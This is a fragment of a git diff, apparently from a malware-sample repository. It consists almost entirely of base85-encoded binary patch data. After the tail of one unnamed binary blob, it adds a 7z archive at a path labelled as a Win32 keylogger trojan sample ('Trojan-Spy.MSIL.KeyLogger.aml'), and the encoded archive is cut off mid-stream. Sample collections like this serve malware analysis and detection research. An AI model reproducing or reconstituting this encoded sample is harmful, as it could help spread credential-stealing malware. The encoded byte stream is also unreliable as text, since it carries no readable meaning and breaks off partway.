zo(^)Ip<>81F9~oeq3)SYluIZ<>#l@J3BlV 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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aml.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aml.7z new file mode 100644 index 0000000000000000000000000000000000000000..7dd89f7b372bc0d5ebb49a02826e62693b77a29d GIT binary patch literal 30146 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 